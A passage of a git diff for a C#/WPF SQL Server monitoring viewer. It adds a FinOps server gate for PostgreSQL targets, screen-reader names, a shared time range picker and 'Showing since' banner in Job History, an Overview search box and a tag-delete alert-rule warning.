-        if (servers.Count > 0)
-        {
-            var match = previousId is int pid ? servers.FirstOrDefault(s => s.ServerId == pid) : null;
-            ServerSelector.SelectedItem = match ?? servers[0];
-        }
+        ServerSelector.SelectedItem = FinOpsServerChoice.Selection(
+            servers, keepSelection ? previousId : null, sidebarServerId);
         _populatingServers = false;
+        ApplyServerGate();
 
-        /* The previously selected server is gone (removed elsewhere), so the selection fell back to another
-           one with SelectionChanged suppressed: reset the drills and column filters exactly as a deliberate
-           server switch does, so the old server's filters cannot zero the new server's grids (#2306). */
+        /* The selection changed with SelectionChanged suppressed: the previously selected server is gone
+           (removed elsewhere), or a load that does not keep the selection moved it. Reset the drills and column
+           filters exactly as a deliberate server switch does, so the old server's filters cannot zero the new
+           server's grids (#2306). */
         if (previousId is not null && servers.Count > 0 && ServerSelector.SelectedItem is DarlingServer now && now.ServerId != previousId)
         {
             ShowFinOpsStorageView(FinOpsStorageDrillLevel.Parent);
@@ -123,6 +165,28 @@ public void SelectServer(int serverId)
         _populatingServers = true;
         ServerSelector.SelectedItem = match;
         _populatingServers = false;
+        ApplyServerGate();
+    }
+
+    /// <summary>
+    /// A PostgreSQL target answers none of the single-server FinOps panels (they read SQL Server data), so its sub-tabs
+    /// collapse and the tab says <see cref="FinOpsServerChoice.PostgresNotCollected"/> once, where the grids would have sat
+    /// empty or still holding the previous server's rows. Server Inventory lists the whole fleet and stays. Called wherever
+    /// the selected server or the active sub-tab changes; the loaders ask the same helper before they read.
+    /// </summary>
+    private void ApplyServerGate()
+    {
+        var line = FinOpsServerChoice.NotCollectedLine(ServerSelector.SelectedItem as DarlingServer, crossServer: false);
+        for (var i = 0; i < FinOpsSubTabControl.Items.Count; i++)
+        {
+            if (i != FinOpsServerInventorySubTabIndex && FinOpsSubTabControl.Items[i] is TabItem { Content: UIElement content })
+            {
+                content.Visibility = line is null ? Visibility.Visible : Visibility.Collapsed;
+            }
+        }
+
+        FinOpsNotCollectedText.Text = line ?? "";
+        FinOpsNotCollectedText.Visibility = line is not null && !SelectedSubTabIsCrossServer ? Visibility.Visible : Visibility.Collapsed;
     }
 
     /// <summary>The tab's own server selector drives it; single-clicking a sidebar server syncs it here (and
@@ -130,11 +194,17 @@ public void SelectServer(int serverId)
     /// drill, then reloads the active sub-tab.</summary>
     private async void ServerSelector_SelectionChanged(object sender, SelectionChangedEventArgs e)
     {
+        /* #5565: the tab's grids keep their column filters per server, so the scope follows the selector - also while
+           the list repopulates, when the early return below skips the rest. */
+        ColumnFilterScope.SetServer(this, (ServerSelector.SelectedItem as DarlingServer)?.ServerName);
+
         if (_populatingServers)
         {
             return;
         }
 
+        ApplyServerGate();
+
         /* A new server invalidates any open Storage Growth / Locking drill (their breadcrumbs + detail views
            belong to the previous server), so reset both to their parent view before reloading. */
         ShowFinOpsStorageView(FinOpsStorageDrillLevel.Parent);
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/FleetRow.cs b/Darling/PerformanceMonitor.Darling.Viewer/FleetRow.cs
index 27c7f931c9..b7c3d53365 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/FleetRow.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/FleetRow.cs
@@ -29,6 +29,12 @@ internal abstract class FleetRow
     /// this by a fixed step to produce the left margin.
     /// </summary>
     public int Depth { get; protected init; }
+
+    /// <summary>
+    /// What a screen reader announces for this row (<c>AutomationProperties.Name</c> on the sidebar's list item): the
+    /// server's display name or the group's title, instead of the row class's type name (the Lite sidebar's twin).
+    /// </summary>
+    public virtual string AutomationName => string.Empty;
 }
 
 /// <summary>
@@ -136,6 +142,8 @@ public FleetHeaderRow(
     /// <summary>Display label: the tag name, or "Favorites" / "Untagged".</summary>
     public string Title { get; }
 
+    public override string AutomationName => Title;
+
     /// <summary>Servers shown directly under this header (its own directly-assigned servers; for the
     /// pseudo-groups, the favourites or untagged count). Rendered as a "(n)" badge.</summary>
     public int ServerCount { get; }
@@ -169,4 +177,6 @@ public FleetServerRow(DarlingServer server, int depth)
 
     /// <summary>The monitored server this row renders.</summary>
     public DarlingServer Server { get; }
+
+    public override string AutomationName => Server.DisplayName;
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml b/Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml
index 0ca5fd0e28..8861acae37 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml
@@ -3,6 +3,7 @@
              xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
              xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
              xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
+             xmlns:ui="clr-namespace:PerformanceMonitor.Ui;assembly=PerformanceMonitor.Ui"
              mc:Ignorable="d"
              d:DesignHeight="450" d:DesignWidth="900">
     <!-- Fleet-wide retained SQL Agent job-run history (issue #1433), a structural sibling of
@@ -58,6 +59,7 @@
     </UserControl.Resources>
     <Grid>
         <Grid.RowDefinitions>
+            <RowDefinition Height="Auto"/>
             <RowDefinition Height="Auto"/>
             <RowDefinition Height="*"/>
         </Grid.RowDefinitions>
@@ -68,14 +70,9 @@
                        Foreground="{DynamicResource ForegroundBrush}"/>
             <TextBlock Text="Time Range:" VerticalAlignment="Center" Margin="5,0,4,0"
                        Foreground="{DynamicResource ForegroundMutedBrush}"/>
-            <ComboBox x:Name="TimeRangeComboBox" Width="100" VerticalAlignment="Center"
-                      SelectionChanged="Filter_SelectionChanged">
-                <ComboBoxItem Content="Last 24 Hours" Tag="24" IsSelected="True"/>
-                <ComboBoxItem Content="Last 7 Days" Tag="168"/>
-                <ComboBoxItem Content="Last 30 Days" Tag="720"/>
-                <ComboBoxItem Content="Last 90 Days" Tag="2160"/>
-                <ComboBoxItem Content="Last Year" Tag="8760"/>
-            </ComboBox>
+            <!-- #5562: the shared time range picker. 30 days is the "1mo" preset, a year is the longest choice ("Last Year", 365 days), 90 days is typed ("90d"). -->
+            <ui:TimeRangePicker x:Name="TimeRangePickerControl" Compact="True" VerticalAlignment="Center"
+                                RangeChanged="TimeRangePicker_RangeChanged"/>
             <TextBlock Text="Server:" VerticalAlignment="Center" Margin="12,0,4,0"
                        Foreground="{DynamicResource ForegroundMutedBrush}"/>
             <ComboBox x:Name="ServerFilterComboBox" Width="150" VerticalAlignment="Center"
@@ -107,8 +104,17 @@
                        FontSize="11" Foreground="{DynamicResource ForegroundMutedBrush}"/>
         </StackPanel>
 
+        <!-- #4966: "Showing since <time>" when the runs below start after the range does. Job history is an event
+             surface: the first collection copies the server's msdb history, so a run's own time can sit long before
+             the collection that stored it. The note names the earlier of the collector's coverage (DataWindowFloor)
+             and the earliest run shown, or the oldest run of a full page of the newest 2,000 (the read's cap). -->
+        <TextBlock Grid.Row="1" x:Name="JobHistoryTruncationBanner" Visibility="Collapsed"
+                   Margin="10,0,10,4" Padding="8,4" FontWeight="Bold"
+                   Foreground="{DynamicResource ForegroundBrush}"
+                   Background="#22FFAA00"/>
+
         <!-- DataGrid -->
-        <Grid Grid.Row="1" Margin="10,0,10,10">
+        <Grid Grid.Row="2" Margin="10,0,10,10">
             <DataGrid x:Name="JobHistoryDataGrid"
                       AutoGenerateColumns="False"
                       IsReadOnly="True"
@@ -123,7 +129,7 @@
                         <DataGridTextColumn.Header>
                             <StackPanel Orientation="Horizontal">
                                 <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="RunTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/>
-                                <TextBlock Text="Run Time" FontWeight="Bold" VerticalAlignment="Center"/>
+                                <TextBlock x:Name="RunTimeHeaderText" Text="Run Time" FontWeight="Bold" VerticalAlignment="Center"/>
                             </StackPanel>
                         </DataGridTextColumn.Header>
                     </DataGridTextColumn>
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml.cs
index d0c2c0ac13..fdaa61bd87 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml.cs
@@ -37,12 +37,25 @@ public partial class JobHistoryTab : UserControl
     private DateTime? _lastRefreshed;
     private readonly DispatcherTimer _staleDataTimer;
 
+    /// <summary>The rows the last read returned, before the Status, Category and column filters (#4966). The cap label
+    /// belongs to the read, so the column-filter handler, which only sees the grid, needs this to say whether the read was
+    /// cut at <see cref="RowCap"/>.</summary>
+    private int _lastReadRowCount;
+
     /// <summary>Raised with a short status message on load outcomes so the shell can show it.</summary>
     public event Action<string>? StatusChanged;
 
     public JobHistoryTab()
     {
         InitializeComponent();
+        /* #5562: the shared picker; the old combo defaulted to the last 24 hours and offered 7, 30 and 90 days, which are
+           one click away in the picker's presets (1w, 1mo) and a typed "90d". */
+        TimeRangePickerControl.ZoneProvider = ViewerTimeHelper.CurrentDisplayZone;
+        TimeRangePickerControl.Value = TimeRangePresets.Find("1d")!;
+        /* R8: the old "Last Year" (365 days). The parser has no year unit, so "1y" cannot be typed; this choice is the way to a year. */
+        TimeRangePickerControl.SetLongestChoice(ViewerTimeRangeWindow.JobHistoryLongestChoice, "Last Year");
+        /* #5565: a cross-server list has one fixed filter scope, so its filters survive a restart. */
+        ColumnFilterScope.SetServer(this, ColumnFilterScope.AllServers);
         _staleDataTimer = new DispatcherTimer { Interval = TimeSpan.FromSeconds(10) };
         _staleDataTimer.Tick += StaleDataTimer_Tick;
     }
@@ -60,7 +73,36 @@ public void Initialize(ViewerDataService dataService)
 
     /// <summary>The read's row cap (#4478) — the 2,000 <see cref="LoadJobsAsync"/> passes to
     /// <see cref="ViewerDataService.GetJobHistoryAsync"/>.</summary>
-    private const int RowCap = 2000;
+    internal const int RowCap = 2000;
+
+    /// <summary>
+    /// The "Showing since" note of the grid (#4966), through the event-surface step the server tab's grids share
+    /// (<see cref="ViewerServerTab.ShowEventDataStartAsync"/>). Job history is an event surface: the read windows on the run's
+    /// own time, and a server's first collection copies the history msdb already holds, so a run can sit long before the
+    /// coverage the probe found. The note names the earlier of the coverage start and the earliest run in <paramref name="read"/>.
+    /// The read lists the newest <see cref="RowCap"/> runs, so a full page names its oldest run whatever the store covers, with
+    /// no slack. <paramref name="read"/> is the read's own result, before the Status and Category filters: those narrow the grid
+    /// on the client and say nothing about where the data starts. The time prints in the zone the Run Time column does (the
+    /// display zone, see <see cref="ViewerJobHistoryRow.RunTimeLocal"/>). A step of its own so the tests run the tab's banner call.
+    /// The cap label beside the count (<see cref="PerformanceMonitor.Common.JobHistoryCap"/>) stays: it says how many runs the
+    /// page is cut to, and this note says the time that page reaches back to, so the tab says one thing about the cap.
+    /// </summary>
+    /// <param name="banner">The grid's banner.</param>
+    /// <param name="probe">The data-start probe the tab started beside its read.</param>
+    /// <param name="startUtc">The window's start: the one the read and the probe took.</param>
+    /// <param name="read">The runs the read returned.</param>
+    internal static Task ShowJobHistoryDataStartAsync(TextBlock banner, Task<DateTime?> probe, DateTime startUtc, IEnumerable<ViewerJobHistoryRow> read) =>
+        ViewerServerTab.ShowEventDataStartAsync(banner, probe, "Job History", startUtc, read.Select(r => r.RunDateTimeUtc), RowCap);
+
+    /// <summary>Sets the picker's "Data starts ..." note from the data-start probe the tab already awaited (#5562 R7): the floor its
+    /// "Showing since" banner reads, fed by <see cref="ViewerServerTab.UpdateTruncationBanner"/>. No query of its own.</summary>
+    internal void RecordDataStart(DateTime? floor)
+    {
+        if (TimeRangePickerControl.DataStartUtc != floor)
+        {
+            TimeRangePickerControl.DataStartUtc = floor;
+        }
+    }
 
     private async Task LoadJobsAsync()
     {
@@ -76,11 +118,23 @@ private async Task LoadJobsAsync()
 
         try
         {
-            var hoursBack = GetSelectedHoursBack();
+            var (windowStartUtc, windowEndUtc, windowIsLive) = ViewerTimeRangeWindow.Window(
+                TimeRangePickerControl.Value, DateTime.UtcNow, ViewerTimeHelper.CurrentDisplayZone());
             int? serverId = GetSelectedServerId();
-            var sinceUtc = DateTime.UtcNow.AddHours(-hoursBack);
-
-            var all = await _dataService.GetJobHistoryAsync(sinceUtc, serverId, RowCap);
+            /* #4966: the window's start is worked out once, and the read and the data-start probe both take it. The probe starts
+               beside the read; its answer is awaited only after the rows are on screen, so a probe that fails costs the note and
+               never the grid. */
+            var nowUtc = windowEndUtc;
+            var sinceUtc = windowStartUtc;
+            /* The read and the data-start probe run together: priced as two. */
+            using var readFanOut = ViewerReadFanOut.Of(2);
+            var dataStartTask = _dataService.GetJobHistoryDataStartAsync(serverId, sinceUtc, nowUtc);
+
+            /* #5562 R6: a range that ended in the past sends its end to the read, so the end bound is applied before the row cap. */
+            var readTask = _dataService.GetJobHistoryAsync(sinceUtc, serverId, RowCap, untilUtc: windowIsLive ? null : windowEndUtc);
+            await ViewerServerTab.AwaitReadWatchingProbeAsync(readTask, dataStartTask, "Job History");
+            var all = await readTask;
+            readFanOut.Release();
             if (_loads.Superseded(nameof(LoadJobsAsync), gen)) return;
 
             /* Populate the Server / Category combos from the full (pre status/category) result, then apply
@@ -109,14 +163,14 @@ private async Task LoadJobsAsync()
 
             var displayCount = JobHistoryDataGrid.Items.Count;
             NoJobsMessage.Visibility = displayCount == 0 ? Visibility.Visible : Visibility.Collapsed;
+            RunTimeHeaderText.Text = TimeColumnTitle.For("Run Time", ViewerTimeHelper.CurrentDisplayMode); // D5: the column names its clock
 
             /* The cap applies to the UNFILTERED read (all.Count), not the client-side-filtered display count:
                a Status/Category filter narrowing the grid must not make the "newest 2,000" label disappear when
-               the underlying read still hit the cap. */
-            var capLabel = JobHistoryCap.Label(all.Count, RowCap);
-            JobCountIndicator.Text = displayCount == 0
-                ? ""
-                : capLabel.Length > 0 ? $"{displayCount} run(s) ({capLabel})" : $"{displayCount} run(s)";
+               the underlying read still hit the cap. The column-filter handler builds the same text from the same
+               row count (#4966). */
+            _lastReadRowCount = all.Count;
+            JobCountIndicator.Text = JobHistoryCap.CountText(displayCount, _lastReadRowCount, RowCap);
 
             _lastRefreshed = DateTime.UtcNow;
             UpdateStaleDataIndicator();
@@ -125,6 +179,14 @@ the underlying read still hit the cap. */
             if (_loads.Superseded(nameof(LoadJobsAsync), gen)) return;
 
             LoadingMessage.Visibility = Visibility.Collapsed;
+
+            /* #4966: the rows are bound and the loading note is down; the probe is awaited last. This await settles it whether it
+               succeeded or faulted, without throwing, so the supersede check lands before the note is written and the step below awaits a finished
+               task. A probe that threw is logged by the step and hides the note. */
+            await ((Task)dataStartTask).ConfigureAwait(ConfigureAwaitOptions.SuppressThrowing | ConfigureAwaitOptions.ContinueOnCapturedContext);
+            if (_loads.Superseded(nameof(LoadJobsAsync), gen)) return;
+
+            await ShowJobHistoryDataStartAsync(JobHistoryTruncationBanner, dataStartTask, sinceUtc, all);
         }
         catch (Exception ex)
         {
@@ -286,14 +348,6 @@ private void PopulateCategoryFilter(List<ViewerJobHistoryRow> rows)
         CategoryFilterComboBox.SelectionChanged += Filter_SelectionChanged;
     }
 
-    private int GetSelectedHoursBack()
-    {
-        if (TimeRangeComboBox.SelectedItem is ComboBoxItem item && item.Tag is string tagStr)
-        {
-            return int.TryParse(tagStr, out var hours) ? hours : 24;
-        }
-        return 24;
-    }
 
     private int? GetSelectedServerId()
     {
@@ -371,7 +425,10 @@ private void FilterPopup_FilterApplied(object? sender, FilterAppliedEventArgs e)
         }
 
         _filterManager?.SetFilter(e.FilterState);
-        JobCountIndicator.Text = JobHistoryDataGrid.Items.Count > 0 ? $"{JobHistoryDataGrid.Items.Count} run(s)" : "";
+
+        /* The count follows the column filter, and keeps the cap label whenever the read hit the cap (#4966): this used
+           to rewrite it as a bare "N run(s)", which took the label off a count whose read was still cut. */
+        JobCountIndicator.Text = JobHistoryCap.CountText(JobHistoryDataGrid.Items.Count, _lastReadRowCount, RowCap);
     }
 
     private void FilterPopup_FilterCleared(object? sender, EventArgs e)
@@ -405,6 +462,14 @@ private void UpdateStaleDataIndicator()
 
     #region Event Handlers
 
+    private async void TimeRangePicker_RangeChanged(object? sender, TimeRangeChangedEventArgs e)
+    {
+        if (IsLoaded)
+        {
+            await LoadJobsAsync();
+        }
+    }
+
     private async void Filter_SelectionChanged(object sender, SelectionChangedEventArgs e)
     {
         if (IsLoaded)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.ServerManagement.cs b/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.ServerManagement.cs
index bf159314d3..bdaa76a133 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.ServerManagement.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.ServerManagement.cs
@@ -80,7 +80,10 @@ whatever the sidebar currently shows. */
         var selected = (ServerList.SelectedItem as FleetServerRow)?.Server.ServerId;
         _fleet.SetAll(SortWithFavorites(_fleet.All.ToList()));
         ServerList.ItemsSource = _fleet.Visible;
-        ServerList.SelectedItem = _fleet.ResolveSelection(selected);
+
+        /* A re-sort is not the user choosing a server, so the restore leaves the Recommendations and FinOps
+           pickers where they are. */
+        RestoreSidebarSelection(_fleet.ResolveSelection(selected));
     }
 
     /// <summary>Single-flight guard for <see cref="RefreshServerStatusAsync"/>. Declared beside the one method
@@ -300,10 +303,11 @@ the server COUNT is a separate field (ServerCountText). Mirrors Lite's UpdateCol
     /// <c>UpdateCollectorHealth</c>: a per-server tab shows THAT server's collectors; an aggregate tab
     /// (Overview / Alert History / FinOps / Recommendations) shows the FLEET-CUMULATIVE total across all
     /// enabled servers (Lite's <c>GetHealthSummary(null)</c> on a non-server view). "Collectors: N OK" when
-    /// all healthy, or "Collectors: N erroring" (with the failing names) when any collector is FAILING. Reuses
-    /// the Collection Health tab's <see cref="ViewerDataService.GetCollectionHealthAsync"/> /
-    /// <see cref="ViewerDataService.GetFleetCollectionHealthAsync"/> aggregates and the
-    /// <see cref="CollectorHealthRow.HealthStatus"/> banding, so the status bar and that tab always agree.
+    /// all healthy, or "Collectors: N erroring" (with the failing names) when any collector is FAILING. Reads
+    /// <see cref="ViewerDataService.GetFleetCollectionHealthByServerAsync"/> (#4226), whose rows carry the interval
+    /// each collector is scheduled at on its server (#4999), and the
+    /// <see cref="CollectorHealthRow.HealthStatus"/> banding the Collection Health tab's
+    /// <see cref="ViewerDataService.GetCollectionHealthAsync"/> uses, so the status bar and that tab always agree.
     /// FAILING is the only "erroring" band — NO_PERMISSIONS (e.g. an RDS login lacking msdb rights) and
     /// SKIPPED-as-healthy (e.g. running_jobs on Azure SQL DB) surface in the Collection Health tab, not here,
     /// exactly like Lite. The server COUNT is a separate field (ServerCountText); this one is collectors,
@@ -346,12 +350,12 @@ enabled servers (mirrors Lite's cumulative count on a non-server view). */
             /* #4226: the same fleet-wide rollup-backed, memoized read the Overview cards take their counts
                from — a per-server tab filters it to that server's rows; an aggregate tab concatenates every
                server's rows for the cumulative total, replacing what used to be a second raw fleet scan
-               (FleetCollectionHealthSql) or a raw per-server scan (GetCollectionHealthAsync) every tick.
+               (the fleet-cumulative statement #4999 removed) or a raw per-server scan (GetCollectionHealthAsync) every tick.
                FleetCollectionHealthByServerSql itself carries no config_monitored_servers.is_enabled scope
                (a #4226 regression, fixed below it): a per-server tab must see that EXACT server's rows
                whether or not it is currently enabled or even registered yet, the same as the raw scans it
                replaced. Only the CUMULATIVE branch (no tab scope) still wants "enabled fleet only" — the
-               scope FleetCollectionHealthSql had — so it is applied here, against the registry already in
+               scope that removed statement had — so it is applied here, against the registry already in
                memory, instead of inside the shared SQL. */
             var byServer = await _dataService.GetFleetCollectionHealthByServerAsync();
             if (serverId.HasValue)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.Tags.cs b/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.Tags.cs
index c60a6186de..e07461c7a9 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.Tags.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.Tags.cs
@@ -12,6 +12,7 @@
 using System.Threading.Tasks;
 using System.Windows;
 using System.Windows.Controls;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -22,9 +23,6 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// </summary>
 public partial class MainWindow
 {
-    /// <summary>Four levels: a tag at depth 0..2 may take a child; depth 3 (the fourth) may not.</summary>
-    private const int MaxTagDepth = 4;
-
     private List<DarlingTag> _tags = new();
 
     /// <summary>serverId → its assigned tag ids, for the quick submenu's check marks.</summary>
@@ -201,7 +199,7 @@ private async void TagHeaderContextMenu_NewChildTag_Click(object sender, RoutedE
             return;
         }
 
-        if (TagDepth(header.Tag.Id) >= MaxTagDepth - 1)
+        if (TagDepth(header.Tag.Id) >= ServerTagRules.MaxDepth - 1)
         {
             StatusText.Text = "Tags can nest at most four levels deep.";
             return;
@@ -252,8 +250,9 @@ private async void TagHeaderContextMenu_Delete_Click(object sender, RoutedEventA
         var hasChildren = _tags.Any(t => t.ParentId == header.Tag.Id);
         var childNote = hasChildren ? " and all of its child tags" : string.Empty;
 
+        var ruleNote = await ReadDeleteRuleNoteAsync(header.Tag.Id);
         var confirm = MessageBox.Show(this,
-            $"Delete ‘{header.Tag.Name}’{childNote}? Server assignments are removed; collected data is not affected.",
+            $"Delete ‘{header.Tag.Name}’{childNote}? Server assignments are removed; collected data is not affected.{ruleNote}",
             "Delete Tag", MessageBoxButton.OKCancel, MessageBoxImage.Warning);
         if (confirm != MessageBoxResult.OK)
         {
@@ -273,6 +272,21 @@ private async void TagHeaderContextMenu_Delete_Click(object sender, RoutedEventA
         }
     }
 
+    /// <summary>The alert-rule sentence for the delete confirmation. A failed read is logged and yields no
+    /// sentence, so it never blocks the delete.</summary>
+    private async Task<string> ReadDeleteRuleNoteAsync(int tagId)
+    {
+        try
+        {
+            return ServerTagCoverage.DeleteWarning(await _dataService!.GetServerTagDeleteImpactAsync(tagId));
+        }
+        catch (Exception ex)
+        {
+            ViewerLogger.Error("Tags", "Delete impact read failed", ex);
+            return string.Empty;
+        }
+    }
+
     private void ManageTags_Click(object sender, RoutedEventArgs e)
     {
         if (_dataService is null)
@@ -325,7 +339,7 @@ private int TagDepth(int tagId)
         var guard = 0;
         while (current?.ParentId is int parentId
                && byId.TryGetValue(parentId, out var parent)
-               && guard++ < MaxTagDepth + 2)
+               && guard++ < ServerTagRules.MaxDepth + 2)
         {
             depth++;
             current = parent;
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml b/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml
index d96e3ec5b8..af5fcc7860 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml
@@ -445,6 +445,7 @@
                          MouseDoubleClick="ServerList_MouseDoubleClick">
                     <ListBox.ItemContainerStyle>
                         <Style TargetType="ListBoxItem">
+                            <Setter Property="AutomationProperties.Name" Value="{Binding AutomationName, Mode=OneTime}"/>
                             <Setter Property="Background" Value="Transparent"/>
                             <Setter Property="Foreground" Value="{DynamicResource ForegroundBrush}"/>
                             <Setter Property="Padding" Value="8,5"/>
@@ -801,6 +802,30 @@
                                         <TextBlock x:Name="OverviewAttentionCountText" FontSize="11" VerticalAlignment="Center"
                                                    Foreground="{DynamicResource WarningBrush}" Margin="0,0,14,0"
                                                    Visibility="Collapsed"/>
+                                        <!-- #5352: Lite's Overview search, ported. Filters the cards by server name or tag
+                                             and composes with the toggle and sort here through
+                                             ApplyOverviewCardFilter. The hit-test-invisible watermark shows the placeholder
+                                             while the box is empty. -->
+                                        <TextBlock Text="Search:" FontSize="11" VerticalAlignment="Center"
+                                                   Foreground="{DynamicResource ForegroundMutedBrush}" Margin="0,0,6,0"/>
+                                        <Grid Width="180" VerticalAlignment="Center" Margin="0,0,14,0">
+                                            <TextBox x:Name="OverviewSearchBox" TextChanged="OverviewSearchBox_TextChanged"
+                                                     ToolTip="Filter the Overview by server name or tag"/>
+                                            <TextBlock Text="server name / tag…" FontSize="11" IsHitTestVisible="False"
+                                                       Foreground="{DynamicResource ForegroundMutedBrush}"
+                                                       VerticalAlignment="Center" HorizontalAlignment="Left" Margin="6,0,0,0">
+                                                <TextBlock.Style>
+                                                    <Style TargetType="TextBlock">
+                                                        <Setter Property="Visibility" Value="Collapsed"/>
+                                                        <Style.Triggers>
+                                                            <DataTrigger Binding="{Binding Text, ElementName=OverviewSearchBox}" Value="">
+                                                                <Setter Property="Visibility" Value="Visible"/>
+                                                            </DataTrigger>
+                                                        </Style.Triggers>
+                                                    </Style>
+                                                </TextBlock.Style>
+                                            </TextBlock>
+                                        </Grid>
                                         <TextBlock Text="Sort:" FontSize="11" VerticalAlignment="Center"
                                                    Foreground="{DynamicResource ForegroundMutedBrush}" Margin="0,0,6,0"/>
                                         <ComboBox x:Name="OverviewSortSelector" Width="120" VerticalAlignment="Center"
@@ -1290,6 +1315,7 @@
 
                     <Grid Margin="0,8,0,0">
                         <Grid.RowDefinitions>
+                            <RowDefinition Height="Auto"/>
                             <RowDefinition Height="Auto"/>
                             <RowDefinition Height="*"/>
                         </Grid.RowDefinitions>
@@ -1299,7 +1325,14 @@
                             <TextBlock Text="Server:" VerticalAlignment="Center" Foreground="{DynamicResource ForegroundMutedBrush}" Margin="0,0,6,0"/>
                             <ComboBox x:Name="RecommendationsServerSelector" Width="260" VerticalAlignment="Center"
                                       Style="{StaticResource DarkCombo}"
+                                      AutomationProperties.Name="Server"
                                       SelectionChanged="RecommendationsServerSelector_SelectionChanged">
+                                <!-- A screen reader announces each item (and the selection) by the server's name, not the model's type name. -->
+                                <ComboBox.ItemContainerStyle>
+                                    <Style TargetType="ComboBoxItem" BasedOn="{StaticResource DarkComboItem}">
+                                        <Setter Property="AutomationProperties.Name" Value="{Binding DisplayName, Mode=OneTime}"/>
+                                    </Style>
+                                </ComboBox.ItemContainerStyle>
                                 <ComboBox.ItemTemplate>
                                     <DataTemplate>
                                         <TextBlock Text="{Binding DisplayName}"/>
@@ -1317,8 +1350,14 @@
                                        FontStyle="Italic" Foreground="{DynamicResource ForegroundMutedBrush}"/>
                         </StackPanel>
 
+                        <!-- #5558: the node holds a secondary copy of some availability group databases, so their
+                             per-database findings are left to the primary. Shown only with a list or the all-clear. -->
+                        <TextBlock x:Name="RecommendationsReplicaNoteText" Grid.Row="1" Visibility="Collapsed"
+                                   TextWrapping="Wrap" Margin="2,6,2,0" FontStyle="Italic"
+                                   Foreground="{DynamicResource ForegroundMutedBrush}"/>
+
                         <!-- Content: exactly one region is visible per state. -->
-                        <Grid Grid.Row="1">
+                        <Grid Grid.Row="2">
                             <ScrollViewer x:Name="RecommendationsScroll" VerticalScrollBarVisibility="Auto"
                                           Padding="10" Visibility="Collapsed">
                                 <ItemsControl x:Name="RecommendationsSectionsList"
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml.cs
index ff10e14f33..7ae4a6a901 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml.cs
@@ -168,6 +168,11 @@ the constructor and refreshed when the Settings window closes (mirroring ViewerE
     /// </summary>
     private List<ServerSummaryItem> _overviewCards = new();
 
+    /// <summary>The fleet totals and registered fleet size of the last Overview refresh, held so the search box can
+    /// rebuild the roll-up from the cards it leaves without another store read (null before the first refresh).</summary>
+    private FleetTotals? _overviewTotals;
+    private int _overviewRegisteredCount;
+
     /// <summary>
     /// True while the Overview grid is filtered to servers that need attention (#2424) — the destination the
     /// "+N more need attention" line finally has. Deliberately NOT persisted to ViewerAppSettings the way
@@ -432,6 +437,20 @@ operator now looks first — sending them to fix a role they never needed to tou
             return;
         }
 
+        /* #5366: save the store's password key the first time it is seen and say so once. A read-only connection and a
+           store without a healthy key show nothing; a changed key is asked about when a password is saved. */
+        var passwordKeyNotice = await ViewerPasswordKey.CheckOnConnectAsync(_dataService);
+        if (passwordKeyNotice is not null)
+        {
+            StatusText.Text = passwordKeyNotice;
+            ViewerLogger.Info("App", passwordKeyNotice);
+        }
+
+        /* #4957: measure the rollup floors in the background now that the store has answered, so the first tab that
+           routes by them does not wait on the cold sort. Fire and forget: the warm never throws and changes nothing
+           else when it fails. */
+        _ = _dataService.WarmRollupCoverageAsync();
+
         /* A read-only seat cannot command the service, so "Generate now" (analyze_now) is disabled. */
         RecommendationsGenerateButton.IsEnabled = !_dataService.IsReadOnly;
 
@@ -453,7 +472,7 @@ give it the store and surface its load outcomes on the shared status bar. */
         /* The FinOps tab is a self-loading cross-server aggregate control with its own server selector; give
            it the store, surface its load/refresh outcomes on the shared status bar, and route its query grids'
            "View Plan" requests into the standalone Plan Viewer surface (it has no per-server plan host). */
-        FinOpsContent.Initialize(_dataService);
+        FinOpsContent.Initialize(_dataService, _serverStore);
         FinOpsContent.StatusChanged += OnServerTabStatusChanged;
         FinOpsContent.PlanRequested += OpenStoredPlanInPlanViewer;
 
@@ -934,6 +953,32 @@ private void ToggleGroup(FleetHeaderRow header, int? previousServerId)
         }
     }
 
+    /// <summary>
+    /// Puts the sidebar back on <paramref name="row"/> after its list was rebuilt (a reload, the favorites
+    /// re-sort), then loads the visible tab once. A rebuild is not the user choosing a server, so the selection is
+    /// set under <see cref="_suppressSidebarSelection"/>: <see cref="ServerList_SelectionChanged"/> does not run,
+    /// and <see cref="SyncAggregateServerSelectors"/> does not move the Recommendations and FinOps pickers off the
